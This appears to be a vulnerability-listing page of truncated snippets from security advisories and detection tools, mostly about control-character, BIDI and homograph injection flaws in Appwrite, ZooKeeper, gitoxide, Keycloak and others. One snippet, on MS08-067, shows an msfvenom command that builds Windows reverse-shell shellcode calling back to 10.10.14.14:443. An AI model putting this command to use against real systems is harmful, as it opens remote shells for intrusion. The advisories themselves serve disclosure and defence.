bidi_char_detector

Detector de Caracteres BIDI Esta herramienta verifica la existencia de caracteres Unicode BIDI en tus archivos, los cuales pueden ser mal utilizados para ataques a la cadena de suministro para mitigar CVE-2021-42574. Esta herramienta fue escrita en Rust y se distribuye como un contenedor pequeño...

EUVD-2026-81906

Appwrite before 2.0.0 contains an argument injection vulnerability that allows authenticated users with functions.write or sites.write permissions to execute arbitrary commands by injecting TAB characters into the providerRootDirectory parameter used to construct GNU tar commands. The application...

huntglyph

huntglyph — Detect homograph attacks Homograph attacks leverage the visual similarity of characters from different writing systems e.g., Latin 'a' vs. Cyrillic 'а' to spoof domain names, filenames, or other identifiers, tricking users into believing they are interacting with a legitimate source...

EulerOS 2.0 SP15 : samba (EulerOS-SA-2026-3797)

According to the versions of the samba packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A flaw was found in Samba's certificate auto-enrollment Group Policy handling. When certificate auto- enrollment is enabled, Samba may retrieve a C...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: python3 (UTSA-2026-109794)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-109794 advisory. The fix for CVE-2026-0672, which rejected control characters in http.cookies.Morsel, was incomplete. The Morsel.update, |= operator, and unpickling paths were not...

CVE-2025-62727-Demo

Demo CVE-2025-62727 Descripción de la víctima La víctima objetivo de CVE-2025-62727 es una aplicación FastAPI sencilla que: Sirve Hello World en /. Sirve archivos estáticos bajo /static usando StaticFiles de Starlette. Genera automáticamente archivos de texto que contienen A repetida N veces para...

CVE-2026-74909

Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directo...

EUVD-2026-80829

Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directo...

MS08-067

MS08-067 | CVE-2008-4250 Referencia: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generación del Shellcode Usaremos msfvenom para generar el shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

DEBIAN-CVE-2026-84439

When audit logging is enabled zookeeper.audit.enable=true, an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters \t embedded in the username. Because the audit log uses tab-separated key=value forma...

CVE-2026-84439

When audit logging is enabled zookeeper.audit.enable=true, an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters \t embedded in the username. Because the audit log uses tab-separated key=value forma...

CVE-2026-84439 Apache ZooKeeper: Audit log injection via unsanitized output from multiple sources

When audit logging is enabled zookeeper.audit.enable=true, an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters \t embedded in the username. Because the audit log uses tab-separated key=value forma...

UBUNTU-CVE-2026-91986

gitoxide gix-transport before 0.59.2 fails to filter control character...

CVE-2026-68531 Concrete CMS below 9.5.3 is vulnerable to Authenticated Denial of Service via Unescaped SQL LIKE Wildcards in Keyword Search

Concrete CMS 9 before 9.5.3 did not escape SQL LIKE wildcard characters in the keyword search filters used by the file manager, file folders, and page list, allowing an authenticated user with editor-level or higher privileges to submit a crafted search containing many single-character wildcards...

CVE-2026-69211

Http4s is a Scala library for HTTP services. Prior to 0.23.35 and 1.0.0-M47 , the ResponseCookie.render method writes attacker-influenced name, content, domain, path, and extension values without neutralizing semicolons or control characters. An application that constructs a ResponseCookie from u...

AZL-103263 CVE-2026-91986 affecting package rust 1.75.0-31

gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and lo...

DEBIAN-CVE-2026-91986

gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and lo...

CVE-2026-91986

gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and lo...

CVE-2026-91986 gitoxide gix-transport before 0.59.2 CR/LF/NUL Injection

gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and lo...

CVE-2026-16673

IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property...